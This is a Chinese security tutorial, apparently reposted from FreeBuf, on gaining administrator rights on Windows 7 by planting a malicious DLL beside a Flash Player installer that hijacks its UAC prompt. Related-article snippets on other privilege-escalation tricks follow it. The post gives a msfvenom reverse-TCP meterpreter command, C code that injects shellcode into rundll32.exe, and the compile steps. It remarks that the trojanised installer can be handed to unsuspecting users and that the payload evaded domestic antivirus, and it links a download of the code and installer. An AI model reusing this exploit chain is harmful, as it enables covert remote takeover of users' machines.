[技术分享]借用UAC完成的提权思路分享

借用UAC完成的提权思路分享

背景

UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码。

也就是说一旦用户允许启动的应用程序通过UAC验证,那么这个程序也就有了管理员权限。如果我们通过某种方式劫持了通过用户UAC验证的程序,那么相应的我们的程序也就实现了提权的过程。

提权过程概述

首先我们找到目标程序,查找其动态加载的dll文件然后将其替换掉,插入我们包含shellcode的dll文件,这样用户在安装此文件的时候就会调用我们的dll文件,并执行我们的shellcode代码。同时为了防止程序崩掉导致我们的代码退出,采用注入的方式保证shellcode的稳定执行。

在此过程中,如果目标程序请求UAC权限,对于用户来说这是一个正常的安装文件,一旦通过UAC验证,相应我们的shellcode也完成了提权过程。替换安装包dll文件这种行为太过于敏感,其实最后实现的方式是找到目标程序需要加载的,并且当前目录又不存在的需要联网下载的dll文件,我们只需要在该目录下放一个同名dll文件即可。

实验环境

Kali Debian7

Kali集成Metasploit等漏洞利用工具,方便提取shellcode和反弹TCP连接。最好安装一个Mingw-w64用于编译c代码。

windows7 x64

主要的目标测试环境。

Procmon.exe

Procmon是微软出的一款强大的Windows监视工具,不但可以监视进程/线程,还可以监控到文件系统,注册表的变化等。

install_flashplayer15x32_mssd_aaa_aih

这里我们以flashplayer安装文件作为目标文件,版本为15x32_mssd_aaa_aih,可自行下载,或者从最后的打包附件中找到。

详细提权过程

查找可劫持的dll文件

首先我们在win7系统下先打开procmon监控软件,清除一下日志信息,然后运行我们的目标文件install_flashplayer15x32_mssd_aaa_aih,运行过后会弹出UAC选项,需要用户确认授权。

这里我们点“是”,然后安装包开始安装并自删除,并从服务器下载所需的文件,这时候就可以关掉了,因为我们只需要看该软件包都加载了哪些dll文件。

看下Procmon.exe记录所有行为:

信息量太大,我们需要过滤出有用的信息。

首先是只看我们目标进程的信息,添加过滤规则:

Process Name is install_flashplayer15x32_mssd_aaa_aih

然后是过滤掉加载系统的dll文件,只看安装包当前目录下加载的dll文件,我这里安装包存放在dllhijack文件夹下,添加过滤规则:

Path contains dllhijack

并且该加载dll不存在,需要联网从服务器下载,最后再添加一个过滤规则:

Result is NAME NOT FOUND

三个过滤规则如下所示:

经过三个规则过滤后,留下的信息就很明显了,如下图所示:

上边所列的dll文件都是会尝试加载,并且找不到,会联网进行下载的dll文件,因此,我们的目标就是劫持这些dll文件,也不需要替换,直接将我们的dll文件放在安装包同目录即可,这也是为什么选择这个安装程序测试的原因。如果选择其他安装包测试的,最好也是选择这种联网安装类型的,所有文件都从服务器拉取,如果安装程序没有对这些从服务器拉取的文件进行效验,就能够被劫持。

编写exploit

找到劫持了dll文件后,我们进入Debian系统用msf生成shellcode,这里我们选择反弹tcp的shellcode,需要知道服务器ip地址和监听端口,这里也选择Debian系统作为服务器,ifconfig查看下ip,设置监听端口为9000,最后执行如下命令生成shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.127.133 LPORT=9000 -f c

为了防止程序挂掉或者退出导致shellcode也跟着退出,采用注入的方式,将shellcode注入rundll32.exe进程,然后连接远程端口。服务器监听该端口,一旦有请求就建立会话连接,注入关键代码:

if (CreateProcess(0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
       ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
       GetThreadContext(pi.hThread, &ctx);
 
       ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 
       WriteProcessMemory(pi.hProcess, (PVOID)ep, &code, SCSIZE, 0);
 
       #ifdef _WIN64
                     ctx.Rip = (DWORD64)ep;
       #else
                     ctx.Eip = (DWORD)ep;
       #endif
 
       SetThreadContext(pi.hThread, &ctx);
 
       ResumeThread(pi.hThread);
       CloseHandle(pi.hThread);
       CloseHandle(pi.hProcess);
}

最后将程序编译,这里编译直接在Debian系统下用Mingw-w64编译,命令入下:

[email protected]:~/maldemo# i686-w64-mingw32-gcc template.c -o template.dll –shared
[email protected]:~/maldemo# file template.dll
template.dll: PE32 executable (DLL) (console) Intel 80386, for MS Windows

将编译好的template.dll拷贝到win7系统中备用。

debian系统设置服务器并监听9000端口,所有命令如下:

提权

将编译的template.dll文件放在install_flashplayer15x32_mssd_aaa_aih目录下,从我们监控到的可劫持dll文件中选择一个,这里我选择dhcpcsv6.dll。将我们的dll文件改名为dhcpcsvc6.dll,其他dll文件可自行尝试。之后重新运行安装包,弹出UAC选项后点“是”。

之后我们在debian系统的服务端会看到我们已经监听到了这个端口,看下会话信息:

查看下当前uid,然后执行getsystem命令权限:

可以看到已经提权成功,然后进入shell查看下文件,运行个计算器什么的。

总结

UAC很大程度上减少PC受到恶意软件侵害的机会,但是并不表明是不可被利用的。通过这种dll劫持方式,可以将dll文件设置为隐藏,并将正常的软件(如adobe flash player)打包给用户,用户基本是察觉不到的,一旦用户正常安装,机器就会被攻击者控制。一些病毒通过劫持lpk.dll等系统dll文件造成的病毒体执行,也是利用这种思路,但是替换系统文件这种敏感操作,基本逃不过杀软的监控了。

各杀软厂商对shellcode这种检测和防御也不够严格,直接从msf中提取的shellcode,没做任何变形和过杀软处理,然后virustotal网站上扫描结果如下:

可以看出总共用了56中杀毒软件扫描,报毒的只有16个,然后看下国内的杀软:

国内杀软全都没有报毒,所以通过dll劫持提权还是有很大的使用空间。 

代码和安装包上传百度网盘,密码: rmsq 解压码:ks123456

*本文作者:猎豹科学院(企业账号),转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)

时间: 2024-08-07 10:28:19

[技术分享]借用UAC完成的提权思路分享的相关文章

2017-2018-2 20155315《网络对抗技术》免考五:Windows提权

原理 使用metasploit使目标机成功回连之后,要进一步攻击就需要提升操作权限.对于版本较低的Windows系统,在回连的时候使用getsystem提权是可以成功的,但是对于更高的系统操作就会被拒绝.为了获得受害机器的完全权限,需要绕过限制,获取本来没有的一些权限,这些权限可以用来删除文件,查看私有信息,或者安装特殊程序,比如病毒. Metasploit有很多种后渗透方法,可以用于对目标机器的权限绕过,最终获取到系统权限. UAC 用户帐户控制(User Account Control, U

web提权思路

1.能不能执行cmd就看这个命令:net user,net不行就用net1,再不行就上传一个net到可写可读目录,执行/c c:\windows\temp\cookies\net1.exe user 2.当提权成功,3389没开的情况下,上传开3389的vps没成功时,试试上传rootkit.asp 用刚提权的用户登录进去就是system权限,再试试一般就可以了. 3.cmd拒绝访问的话就自己上传一个cmd.exe 自己上传的后缀是不限制后缀的,cmd.exe/cmd.com/cmd.txt 都

Linux提权思路

先写个大概 0. dirtycow 常见的情况需要区分CentOS和Ubuntu发行版使用不同的dirtycow exploit. 1. 内核漏洞 不同内核对应不同exploit 2. Pwn suid文件 suid文件为以文件所有者权限运行的文件,文件所有者为root的suid文件值得注意. 3. Pwn 高权限进程或者服务 查看高权限的service,是否有可利用的exploit. 4. Corntab 高权限定时任务 是否可以编辑以root运行的corntab脚本 5. Sudo -l 看

cmd提权的一些常用命令

0x00    小菜今天学习了一些windows下的提权,分享一下,以后也方便查看,也请大牛指教 0x01  cmd基本命令(这乃安全工程师必备,如果你不知道,百度google你值得拥有) net start telnet           开telnet服务(开启服务 service  start XX) net user 查看所有用户列表 net user hack123 hack123 /add           添加用户hack123密码为hack123 net localgroup

利用第三方软件—FlashFXP提权

讲师:朽木_soul 提权环境:windows 2003 使用工具:ASP环境.shell一个 提权思路:利用FlashFXP替换文件漏洞,可以读取管理员链接过的站点账号密码. 这是我首发在I春秋的. 1.flash fxp介绍 FlashFXP是一款功能强大的FXP/FTP软件,集成了其它优秀的FTP软件的优点,如CuteFTP的目录比较,支持彩色文字显示;如BpFTP支持多目录选择文件,暂存目录;又如LeapFTP的界面设计. 2.具体过程 下面是我在win03安装的FTP软件,里面什么都没

提权笔记本

/* 转载请注明出处 ID:珍惜少年时 */ 21------------FTP //找到其FTP目录,破解其密码搜索,提之 22------------linux终端 23------------telnet //可以爆破,然后dos连接之,连接后添加用户开启终端端口,然后宣告拿下! 1433----------mssql提权 //需要找到sa密码,一般存在于web.config文件中,uid pwd sa为关键字,找到该文件后Ctrl+f搜索关键字提之 3306----------mysql

一次绕过360+诺顿的提权过程

索引 0x01 获取webshell 0x02 绕过杀软提权思路 0x03 mof 提权原理 0x04利用mysql写入mof提权 0x05 总结 0x01 获取webshell 在一次渗透中,获取了内网主机若干,外网就只搞下2台主机,一直想对关键的业务服务器进行渗透,机缘巧合之下 看见目标主战居然是dedecms,版本比较新是20150507 的,手上没有0day,就靠基本思路后台--webshell来搞,先猜后台 /admin123 管理员名字+电话 /admin域名 域名+admin 域名

对症下药 – 疑难杂症之提权技术

社区:i春秋 时间:2016年8月13日14.00 作者:Binghe 前言 经常会有一些基友求提权,那么其实提权的手法也就那些,主要是细心和耐心,我记得‘七百斤的猴子’大表哥他整理过大概的提权技术,虽不是很全面,但很详细. 本文简介 渗透测试的环境千变万化,经常或遇到各种瓶颈,那么小编今天就自己的经验,来说说如何治疗那些提权中的疑难杂症. 目录 个人经验有限,暂时只列举下文例子 0x01 安全软件限制远程连接 0x02 udf之cmdshell执行出错 0x03 黑阔来过并做了服务器权限 0x

[提权]Windows UAC 提权(CVE-2019-1388)

0x00 UAC简介 首先来理解一下什么是 UAC : 用户账户控制UAC:UAC 是 win10 操作系统中非常重要的安全功能,它起源于 windows vista 操作系统,流行于 windows7.windows8 .各种功能策略得到了完善的修订和开发,应用在 win10 操作系统中,目的是减少恶意软件对系统的侵害. 操作系统默认情况下是启用UAC,当用户运行软件就会触发UAC规则.执行的时候就需要权限,否则是不会运行的. 不涉及到更改计算机操作的项目是不会触发UAC规则的,能够触发UAC